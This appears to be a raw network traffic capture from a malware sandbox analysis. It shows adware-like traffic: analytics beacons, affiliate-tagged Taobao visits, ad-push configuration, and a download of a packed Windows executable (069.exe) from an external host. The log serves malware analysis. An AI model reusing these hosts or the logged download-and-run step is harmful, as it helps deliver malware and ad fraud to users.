.PNG........IHDR.......-.............PLTE.....S'(('(('((.ZI'((()('(('(('(('(('(('((()('(('(('(('(('(('(('((* ('((...'((no(..Q'(('((..S..U..K.Q=BA)..S....GK.>:II)..R'((78(..S..(..S..$~.'..SWW(..F.jK..R'((PQ)QS)..#..T..S.J:..S..S..SII)..S..'.O=.....S......'((....^N.O=.........tuu.......i..N=.`Q.(.........%.............W.STT..E?@@..........B....eee..T...f`........cT..R.Q@............................y...Lno(.....x.X@..............q.....i.....e.@ ..#........}.._..Y.. .......]L..<.L7..1{|'.....Z..M..K.YH.G/ST(BB(.;%........Q^_(..&.) ...........q..............V...?<...~..s..d..\.0&. .....%.......# ........N<.L8LL .1*.4 ...RN............{..w..h..b.rK.\>.91.@0ab(64(..&.-$.."..!....~.wp........qO..K.WC..:.E6.....s..l..Y..C.cC..A..A.|;..7.q7.?5ob3.-2w70.S.]2......{..w..^..O..H.ZH._F.c;`\8.;4......S[.....CtRNS..B........Pc2.....s... ....m[6.....I....;.......o..............wwcq.......IDATh...Yh.A..k.I...V...x.....'...f.........F ....X..T.4*1.T..J_l...*........./."........$m....;...e~...."..ek...U..ULF.......bu..v:..L.fTq.h1;.d..\.Ee#."....g.......a.$_7.'..Y...7....P"..KL.....(^2..I....... .P.xL41..i/...?.$N.....<$'.. ...W.R...j...zI]3.\T#..x.....R..c..\v..~:qP.#..NRI.... .. ..x(..2B0 E46.....I....).lj.....D.p.'e....1..O%Z.........n.....@dJ.2Nr{....)&H.*..C..... .... D...........*.z.N..vc...~n...X.....HTE'.../...(.....b....p.5n......F".....O.a.1.J|.H..( H.D....ahyi......`.:...q"-...mX/...LC<..>M.{...."............A5.3.O.@.-R,2*.o.........>..ac.T..=..Ed.QD?.."Om>!M..zB4.@...L...~...x...d...A....

<<< skipped >>>

GET /stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=1317295220-1433649398-&showp=1276x846&t=&h=1&rnd=785328754 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Sun, 07 Jun 2015 03:56:38 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;..

GET /app.gif?&cna= K76DU0gXVsCAcGK9OeOy6tf HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:41 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf; expires=Wed, 04-Jun-25 03:56:41 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 07 Jun 2015 03:56:41 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf; expires=Wed, 04-Jun-25 03:56:41 GMT; path=/; domain=.cnzz.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /json/tg/juSkip.htm?callback=skipFn0&menuType=index HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: skip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6285916918777865876; bid=0

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:53 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_0

Server-Num: ju010178084190.n.et2

S: STATUS_NOT_EXISTED

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: v=0; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1cc8da8d670bbd10fd8656297680c49b;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: jc=shanghai; Domain=.ju.taobao.com; Expires=Wed, 04-Jun-2025 03:56:53 GMT; Path=/

Set-Cookie: t=599cdaa8dd68482e53a192eeac8675e0; Domain=.taobao.com; Expires=Sat, 05-Sep-2015 03:56:53 GMT; Path=/

Set-Cookie: _tb_token_=9o1eyu5kTo; Domain=.taobao.com; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010181172184.s.et2[web]

Set-Cookie: bid=0; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip

2ed...............k.A......S.....G.D..P....IJ.$..n..q3)F._...b[C....6.l..T,.AD...'=X..M%.N..@........3.33....K.Vq.U...n...*(.^.Z...([.}..q..(.uMK.).kzR.#.s.5../'.vy../C....$.C.Q..a4...-..u .6.C...? .6F.*z.`...(.P&c.4....b...*0........#...Kh6~..... .&n..Q........K....6."..........%... .'[;.EY6........z....;c.%....q......6q..PK.O...sR..T.x..|.<..U...^...)..$9W....J........%...l..].!.o-(..fQ.fi.Uk.l;......).......m..,q.q...1[.6...(9B..o...T3.6.c......6..2.[..N.D...,)..oW.A...o...z,...,XSt28Q........J........q......A.Z...3l.I....12s.....U.#...}.z#..C...........z`F.rU.B&...|.7..6..?..o!;O.F.....z.a.sOV. ..Va.....T.o...^.."...B..2...E.d...&Ci..i....7M]...<L ecz....Ofh. ..-...~......0.n....U..U...... ...5j_..k..M....*...S(..|^..[x.....YL.......{D.;.....0..

<<< skipped >>>

GET /tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 16937

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:29:45 GMT

Last-Modified: Fri, 05 Sep 2014 08:20:14 GMT

Expires: Sun, 03 Nov 2024 11:29:45 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache62.l2de1[0,200-0,H], cache30.l2de1[0,0], cache7.es1[0,200-0,H], cache4.es1[0,0]

Age: 18376029

X-Cache: HIT TCP_MEM_HIT dirn:6:593967110

X-Swift-SaveTime: Tue, 07 Apr 2015 08:50:21 GMT

X-Swift-CacheTime: 302236764

.PNG........IHDR...~...b.....0@l.... cHRM..z%..............u0...`..:....o._.F....bKGD..............pHYs.................vpAg...~...b.r.....A&IDATx...yx.E....=.'.... .$ ...S. ...u.*..... . .^..."*Ht]$..z l..( ,w \..e B.."......d...?z....L&.LH..<O?3.U]]..._.]E ..........P.@.B...........0.R..g..@N...anw.dn.....-D s.O...u..]%.>I..-...75<..?.]\v.....?.@.DX..}..r6r..N.......7~:. c.=..R<i........>O..~.GA9m.................U.!PD...=.u...?a..zG..x.>......Wq..&.,...;J..".o.n..e\....k...........u....I... ...n.....'.=..m2-.0fR...2.......q...2........(.}......k/.....;~...u.".L}...r\.... ...n.P....... ..Y.}Y.V..{k.3.[\......Y.5.....p.|.!....p.<..>..P.|.<<.;)..<^.........D..-.... ..8..oY.Lt.i.............. (...9..x.@.....~Hw".w...q...^.=...[:...8..s.0.I0AJ.../M._..! W<...om.eS.f.....WB)..r..F~..y.5K>..b...(..9..7....P......0......k..47..q..Ix.....'..../0....u..`.*.K.@U.... .7M(.1.~.~e.@.....}......x[.zs...f^. \6..A=`:........ll8.....^,....o.........[._9b....Q.!.[.....w:......0.d. 4..@..-0a..~...`{.I...i5.....y.yd$....6..Y.........7...F0Da..$.......qQ.._..\v..s:.........Gs....z...(....9.I#..F.c..{..3c............Gp....P....tN....U. ]...U...t.oM..F)<G..;'....1.[0..M.....5.?f.....M.......J...h.r..{b.....`...0|.&.o'...,|.@....Bh.... A....:......Z.@?...y.....o.b0w....G.=......_..|AE..t...B..54..f..i.].{..m.{.......M......-.'...`.....w.p....^...8.>H....0~u....U...(.....O...?.......J.9BN......x...u.w8......k....-...q....._..R..k~..cD.....k......._KQ........V..[......n..k.].O>..C....N).

<<< skipped >>>

GET /stat.htm?id=1254485011&r=&lg=en-us&ntime=none&cnzz_eid=692226371-1433647721-&showp=1276x846&t=undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined&h=1&rnd=1686342286 HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Sun, 07 Jun 2015 03:56:45 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;..

GET /s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.tbcdn.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 3711

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:27:16 GMT

Last-Modified: Mon, 09 Sep 2013 03:33:34 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache11.l2hk1[0,304-0,H], cache36.l2hk1[1,0], cache3.es1[0,200-0,H], cache1.es1[0,0]

Content-Encoding: gzip

Age: 5378

X-Cache: HIT TCP_MEM_HIT dirn:1:58142571

X-Swift-SaveTime: Sun, 07 Jun 2015 03:10:52 GMT

X-Swift-CacheTime: 3600

...........Yks.H..>..S;6D-..<&(...35S;..&N..<.T........W...=...dy2....M?n.>..G...X.**.<.....;...?<../......d.....o.{b.).we6Mk..\...x.......5.....e=.|.._>|...8v.).sQ...*.,1....j.d....X8.MX.....S.......u.U...VKQF9.*/*.U]...(...;.z....-.......p...KB3-..KQ......i..|...>g.;..Y....,hF...:.......(..Y...W..........8..@.l1u...e...8...~B{.,E.}.........\.<....oq........s.5..=).........$.....#v..o.,..u}.....V.-..5...u...."....4.U...\lj.......F.4.'..b.;1..Z. ..:.a"q.............mw.....%_:...M....g5.....M.........D=[..C.....{.]..#H ..w3..,{K.......g....J*...#.lY-m9P..Y..b_j"..c\.X...G....s^..v'........X.....`~j.fD..n........7...3..!..,f.b.{)...T|..9NB.v.... tt.V .a{.....F..e..Q..q)...e....G..a..b^.@".......2.]Y..IQ...3.~....|.<....XA.|C.f.4.3(.0..v.[...#..3..&...B[...<..?.y.8<...........|U...e...,.. ...U..."!.VR.....j.eQeD..]......Y;......n..N.........JD.V....\R-.Y2..Q'c...x..#.ap.4.2a...%.JY.jz..eS..........n-w.$..6..)....7.K...P...............4..u...3.....p.K....#.h]....Qb.)m..O=s.. Q.....>...J.......S.C...63 ....7Y.Mr..l!C..K.Y..32.....[...V._...XI..C...]..{..'.....{.P. 2..Z..`.td@.i..#.s....gO...R.6.....aJ$..e'.8.....,..s.....t......f4.........XLl.eV..[. ...'.. .I.m; .g....-.........`f..YK;..uk.b*e..LAG....f.bkJ|!...f.n....)A.....e....Q..l....;G...O;.6.3.E..#\!.@.w/..@....|...w.D:8....0.-G*B.e.%...@0.....|*>..;.....u..].3.....2X..4vM.e...!/v.\.2..Q.Q.H.a....H..7.ja..3.?t..`..O...,.9x.....v.....p.H..$l...2\...g.."..b#c..'.l.......'^,j..;.a..v22^N%..xP.#\H.....?..L<.T..Ss.&...W7

<<< skipped >>>

GET /9.gif?abc=1&rnd=1537774296 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:40 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf; expires=Wed, 04-Jun-25 03:56:40 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=4f7f2bbd; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=cf8984da25bead06f0c26138_1433649400; expires=Wed, 04-Jun-25 03:56:40 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna= K76DU0gXVsCAcGK9OeOy6tf

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server: Tengine..Date: Sun, 07 Jun 2015 03:56:40 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf; expires=Wed, 04-Jun-25 03:56:40 GMT; path=/; domain=.mmstat.com..Set-Cookie: sca=4f7f2bbd; path=/; domain=.cnzz.mmstat.com..Set-Cookie: atpsida=cf8984da25bead06f0c26138_1433649400; expires=Wed, 04-Jun-25 03:56:40 GMT; path=/; domain=.cnzz.mmstat.com..Location: http://pcookie.cnzz.com/app.gif?&cna= K76DU0gXVsCAcGK9OeOy6tf..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /will.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: tongji.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:20 GMT

Content-Type: text/html

Content-Length: 374

Connection: keep-alive

Last-Modified: Thu, 14 May 2015 10:24:04 GMT

Accept-Ranges: bytes

ETag: "d8e4381a308ed01:14e4"

X-Powered-By: ASP.NET
<htmL>..<head>..</head>..<body>..<script ty
pe="text/javascript">var cnzz_protocol = (("https:" == document.loc
ation.protocol) ? " hXXps://" : " hXXp://");document.write(unescape("%
3Cspan id='cnzz_stat_icon_1255080332'>"));</script>..</html>HTTP/1.1
 200 OK..Server: nginx/1.2.9..Date: Sun, 07 Jun 2015 03:53:20 GMT..Con
tent-Type: text/html..Content-Length: 374..Connection: keep-alive..Las
t-Modified: Thu, 14 May 2015 10:24:04 GMT..Accept-Ranges: bytes..ETag:
 "d8e4381a308ed01:14e4"..X-Powered-By: ASP.NET..<htmL>..<head
>..</head>..<body>..<script type="text/javascript"&g
t;var cnzz_protocol = (("https:" == document.location.protocol) ? " ht
tps://" : " hXXp://");document.write(unescape("

GET /btns/btns.js HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: web.fx.sushouspell.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 17 Mar 2015 07:58:04 GMT

Accept-Ranges: bytes

ETag: "0ceb3188860d01:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 03:56:45 GMT

Content-Length: 194
.............j.0.@.E.`....o-l?1. {N...&8.#.......P..B..x..4..\`..>.
.Q..qFtY.@'....()F...].>..T.@....1..;Al..c .N...2.....E....I...."r_
T\$.....)......=h..X.............E5.....K.5.....:......ex...HTTP/1.1 2
00 OK..Content-Type: application/x-javascript..Content-Encoding: gzip.
.Last-Modified: Tue, 17 Mar 2015 07:58:04 GMT..Accept-Ranges: bytes..E
Tag: "0ceb3188860d01:0"..Vary: Accept-Encoding..Server: Microsoft-IIS/
7.5..X-Powered-By: ASP.NET..Date: Sun, 07 Jun 2015 03:56:45 GMT..Conte
nt-Length: 194...............j.0.@.E.`....o-l?1. {N...&8.#.......P..B.
.x..4..\`..>..Q..qFtY.@'....()F...].>..T.@....1..;Al..c .N...2..
...E....I...."r_T\$.....)......=h..X.............E5.....K.5.....:.....
.ex.....

GET /app/json/advstyle/9.js HTTP/1.1

Accept: */*

Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: json.app.sushouspell.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Last-Modified: Thu, 19 Mar 2015 08:50:22 GMT

Accept-Ranges: bytes

ETag: "4b578bc2162d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 03:56:55 GMT

Content-Length: 381
...{"styleid":"9","title":"\u0050\u0043\u63a8\u9001\u0020\u53f3\u4e0b\
u94fe\u63a5","intervaltimeone":"10","intervaltime":"253","appid":"1","
item":[{"advid":"19","styleid":"9","advtitle":"\u53f3\u4e0b\u94fe\u63a
5\u5730\u5740","advdesc":"","advimg":"hXXp://image.anbangjiance.com/pl
ay/appcasimg/","adpackagename":"","advshowtype":"1","showtimes":"176",
"daytimes":"0","advurl":""}]}..HTTP/1.1 200 OK..Content-Type: applicat
ion/x-javascript..Last-Modified: Thu, 19 Mar 2015 08:50:22 GMT..Accept
-Ranges: bytes..ETag: "4b578bc2162d01:0"..Server: Microsoft-IIS/7.5..X
-Powered-By: ASP.NET..Date: Sun, 07 Jun 2015 03:56:55 GMT..Content-Len
gth: 381.....{"styleid":"9","title":"\u0050\u0043\u63a8\u9001\u0020\u5
3f3\u4e0b\u94fe\u63a5","intervaltimeone":"10","intervaltime":"253","ap
pid":"1","item":[{"advid":"19","styleid":"9","advtitle":"\u53f3\u4e0b\
u94fe\u63a5\u5730\u5740","advdesc":"","advimg":"hXXp://image.anbangjia
nce.com/play/appcasimg/","adpackagename":"","advshowtype":"1","showtim
es":"176","daytimes":"0","advurl":""}]}....

GET /z_stat.php?id=1255080332 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s95.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:56:38 GMT

Last-Modified: Sun, 07 Jun 2015 03:56:38 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache42.l2de1[568,200-0,M], cache54.l2de1[569,0], cache1.de1[569,200-0,M], cache3.de1[569,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Sun, 07 Jun 2015 03:56:38 GMT

X-Swift-CacheTime: 5400
29d..(function(){function k(){this.c="1255080332";this.R="z";this.N=""
;this.K="";this.M="";this.r="1433649398";this.P="oz.cnzz.com";this.L="
";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz
_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};thi
s.la()}function g(a,b){try{var c=.[];c.push("siteid=1255080332");c.pus
h("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.refer
rer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator
.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Ma
th.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join(
"&")}catch(d){}}var h=document,e=window,f=en..24be..codeURIComponent,l
=decodeURIComponent,n=unescape,p=escape;k.prototype={la:function(){try
{this.U(),this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),th
is.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),thi
s.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){
g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function()
{return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:functi
on(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(va
r b=0;b<a.length;b  ){var c=a[b];switch(c[0]){case "_setAccount":e.
_cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1
]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_auto
Pageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("und
efined"===typeof e._cz_account||e._cz_account===this.c){e._cz_acco
>>

GET /down/069.exe HTTP/1.1

Host: pc.tgi-cn.net

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 2584944

Connection: keep-alive

Set-Cookie: _alicdn_tc=AQAAACGEdwsntgoA5/SKwQO1hgbZ5 nS; Path=/; Expires=Sun, 07-Jun-15 04:57:03 GMT; HttpOnly

Last-Modified: Sun, 07 Jun 2015 03:39:22 GMT

Accept-Ranges: bytes

ETag: W/"d22f2c8bd3a0d01:256"

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 03:39:24 GMT

Via: cache8.l2cn201[0,200-0,H], cache30.l2cn201[0,0], kunlun6.cn125[0,200-0,H], kunlun10.cn125[108,0]

Age: 1059

X-Cache: HIT TCP_MEM_HIT dirn:3:282962164

X-Swift-SaveTime: Sun, 07 Jun 2015 03:40:48 GMT

X-Swift-CacheTime: 3600
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z..........e.&......p....@.........
.................P(.......(.............................H.%.P.....%...
... '..$...........Y'......................................{.. .......
................h............................text....X................
.......... ..`.rdata.......p......................@..@.data...x.......
....................@....ndata.......@...........................vmp0.
.._...........................`....tls................................
@....vmp1...ku.......v..................`....rsrc....$... '..&...|....
..........@..@........................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
>>

GET /?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=y0%2FAnYnYDIscU%2BlhjhM%2BXZViamC%2Fv3dv

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cookie: miid=6285916918777865876

Connection: Keep-Alive

Host: ju.taobao.com

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:51 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_0

Server-Num: ju010179078038.s.et2

S: STATUS_NORMAL

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Age: 20

X-Cache: HIT TCP_MEM_HIT dirn:0:50854227

Via: wagbridge010103196011.n.et2[0,200-0,H]

Cache-Control: no-store

Url-Hash: bid=0&/&ju.taobao.com

Via: wagbridge010103196013.n.et2[web]

Set-Cookie: bid=0; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
600a...............w.W.?......f.%...^.d.5..!..$..9.,.2.d$.0y...?".f...
.[n2.r.....BB..yoBH...r........4."..Yvc[......;O/..b..v<...K.v.....
...,...os..Q....g...[.A..jt.................q..n.RQ..T........Bh._[*jj
...NW.....(.)G..=.k).9GI...,-P]....6}...J..X...R....t%....y..p. ..K]..
..K.:|N....I....q..=n*..f_CuKK ..V..{...=..Mm..b....8.H^G.{K.qw.)...P!
.|.....5...F.car`0.1;?.'..5.yg.^...M......K....o.o.w.w....AW...'t..:w.
....=>/.7.4po.v..H..^.qm8.As.....}....4.p....... ....!.....{..{.rtl
$..r4.1........s.....Ty...Xt.j...7..i..[....s..~..Sn.qO.'....`...}..sr
KEm...U.}-..........s.....?.....O....E/....,^...R4.....5.w)..YD..!.#..
x.|....ak.=....5Gk...M.]%..?x....$...>%.p...6..TjDn.cMm..X..S.....w
e.....nz..&...<Y.....nouoz.In..5...._..............W.../R..[..6V[j.
.'..j..........hp...b...P...`{.;..v.5.1W..5.. _.U-.0.@ .L.7l.....n.i.&
lt;.5...\..r.....lx.7.D!m....Di.C...~.........j..&.v..96.*yLe.._..5A..
u.....j.E.C.Q.YVi..W.*.N...5......k.\.`.[*...he.W..S.`..:...'!..}....&
lt;...........\~7...f7...B..bce....no.4.m...bk0..8.pL ..[.~GK.....G.|.
.-.i....-.q..9... >45..l.oj..._...m....y...`..-:...2...&..b...z.Ug5
....8..~..[...S.._|...t..>n76.T[s.yOC..-[**qcE.Y.t;p.....J....>.
.T...".....@W.......N.....[....6....j...'...^N..2~..?$,V.m.../.m..A"..
...?...6......H5m............`.....<...u..I..xJ..|<...?TU..wh..h
7.t.............'<..s ...a...EH......./5.S~.6...u...1..Z...ZF.)?h..
.:G.Q....B.3.t:.A...$u........@k./.....wx..5..j.....tx-...}Mn.aP......
c.f..x.....vO........>..)..&A.....F...1...k=....Z......$...7..@
>>

